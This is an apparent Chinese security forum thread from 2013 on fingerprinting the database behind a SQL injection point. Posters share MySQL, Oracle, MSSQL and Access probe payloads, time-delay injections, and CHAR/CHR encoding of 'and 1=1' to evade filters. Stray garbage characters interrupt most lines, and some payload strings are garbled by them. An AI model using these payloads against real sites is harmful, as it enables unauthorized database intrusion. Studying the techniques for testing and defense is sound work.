一个注射点如何最快速确认是什么类型数据库
' j, s5 e! R/ V2 d7 ~+ \/ q3 N2 Jxsser (十根阳具有长短!!) | 2013-02-05 12:36
/ ~0 h, u& m; q% i1 }6 D8 y8 ~假设这么一个注射点:
9 N( w, ]/ b8 `! wshow.html?id=2* N* e n. J+ K+ N
mysql:id=2 and version()>06 t& X) T% D1 l! t" s
oracle:id=2 and '1'||'1'='11 l/ A4 G2 r, w3 A% G; R
其他的欢迎补充
9 \" E0 O( T8 y1#
0 j5 v' Q c! y' supload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 12:47! F( u+ m; ` `8 ~
Access:
+ o; ?+ [$ l- C6 naNd aSc(cHr(97))=97
* v5 |$ f0 \3 f' N C' iand exists(select id from MSysAccessObjects)1 ~; O3 p/ [2 k5 y) T
SQL Server:; L6 t5 d; I0 J
and exists(select id from sysobjects)* I; b, f8 _" B1 N5 k1 N' m% e( w: l: x
and length(user)>0* s: }( _+ d; C9 l1 L9 P J
MySQL:
4 [8 ^1 p9 b. m# A6 Z( \- A' fand length(user())>03 V0 }" b Q* c% m6 Q% g. k
2#* b7 Q# B/ x7 @" _4 v
xsser (十根阳具有长短!!) | 2013-02-05 12:48% k: K% ]6 e& K- {0 d* p
@upload 如果这些都不是呢…
8 u/ D# a/ h! c" B: [, z3#/ [' Z! k W' q5 { ^ n. }8 |
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:03$ w; H* N+ t" g" g
@xsser 不快速的,延时注入
: j/ R0 \. y) ~* i不知道这样写对不对0 }4 J9 \1 {- R% r
mssql:id=2 and IF(ascii(SUBSTRING('name',1,1))>0)waitfor delay'0:00:3'
. D# I) C T4 Y( b6 u, Bmysql:id=2 and select benchmark(1e8,current_date());( z C8 E3 v* J
4#+ f- O4 b* z! }4 ]4 c) |3 y
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:104 `3 b. N8 |) Z+ _5 t/ g9 O: l
最快的貌似是看报错信息
( r9 k' n) a# j3 c3 @' P+ koracle error- F0 P: {9 `/ p
mssql error8 ?0 o9 _" B; L6 x/ E3 k4 K: X
mysql error
( X) I$ B$ V0 U3 d" ^5#& Q& ~* `2 I1 C, y: x2 Q3 i
Nimda (你们都是坏银~) | 2013-02-05 13:14
* l: h8 c# d4 ~5 O小菜献丑来一发 Oracle:id=2 and 0<>(select count(*) from dual)5 p9 d3 x0 `$ q& U
6#
! ~+ n# r7 M; d6 E- L2 T7 W2 lupload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:21
: p7 a, Y' B$ C“/*”是MySQL中的注释符,返回错误说明该注入点不是MySQL,继续提交如下查询字符:3 I$ T8 C4 a6 ]2 `7 K& ` Y) O
“–”是Oracle和MSSQL支持的注释符,如果返回正常,则说明为这两种数据库类型之一。继续提交如下查询字符: p( ^1 k' H6 r( |
“;”是子句查询标识符,Oracle不支持多行查询,因此如果返回错误,则说明很可能是Oracle数据库。
; k; T2 m- s: v4 i7#
1 K9 Q3 D! e5 ~/ q( W_Evil (HackEnd) | 2013-02-05 13:33
8 ^& R2 O. C5 [PostgreSQL5 {# d# { F ~
8#
' N7 ], y6 e; l+ [upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:42
2 ?5 j5 V2 O) Y切换编码 and 1=1
- ~* l0 F2 G5 b+ soracle:$ ?+ P8 d. f+ U# w
CHR(97) || CHR(110) || CHR(100) || CHR(32) || CHR(49) || CHR(61) || CHR(49)
6 Z$ N- t5 l; H( V; Z7 g; l/ x- pmssql:
& c- f( G( a9 g( H8 UCHAR(97) + CHAR(110) + CHAR(100) + CHAR(32) + CHAR(49) + CHAR(61) + CHAR(49)
8 P' @& U7 h+ S& D; I2 b% t. Omysql:2 G$ O* u; L# G. x7 R9 n) m- ?
CHAR(97, 110, 100, 32, 49, 61, 49)
* L N0 l, i. I9#
1 j0 p* k b2 k) qxsser (十根阳具有长短!!) | 2013-02-05 14:315 R5 V. `! T+ m1 ~' D
@upload 比较常见的数据库这些还是可以判断的,但是还有其他奇葩类型的呢? m6 n+ o& @1 J, B$ H- D
10#
! _! W0 \- i% V5 e( jupload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 14:46- ~9 p( P2 w7 f5 l! s+ T8 ^$ j
@xsser 是奇葩数据库类型的么?" s2 x6 c9 n( V' O4 i- t
根据注入的原理,我们可以猜想,要成功的注入,必须使得注入后的一片和谐,那么使用该类数据库特性来判断,综上所述:8 a, G2 k; f6 K$ H
1.是否可以使用特定的函数来判断,该数据库特有的, Z* z4 F& k( \1 X
2.是否可以使用辅助的符号来判断,如注释符号、多语句查询符等等
% M- T9 U3 c7 k3.是否可以编码查询) A F1 T, F+ ]6 |6 A& }% a
4.是否显可以利用错信息+ P. `/ n5 g. h7 i ]/ L
5.是否存在数据库某些特性辅助判断
8 y% t% w# M8 u) s2 |个人见解! N5 E) a# C) P2 {
11#
* V6 x5 q8 n5 F8 L x. | O小胖子 (z7y壮士,来,干了这碗酒!) | 2013-02-05 14:55
/ S K6 m0 s* l已收藏,mssql可以直接看到错误提示的吧~4 c' n4 M+ W0 j
12#1 u+ w9 v$ ^- Y4 s6 v" n+ q+ |
Passer_by | 2013-02-05 15:09
: j9 g4 h2 s& O- Y+ f$ V2 z曾被 @GaRY 面过我这题。。。紧张了。。后来回家sqlmap判断注射点的时候抓包看了下。。。一抓包全出来了居然。。" f" x+ r( |& y' Q5 \: a
from:http://zone.wooyun.org/content/260 |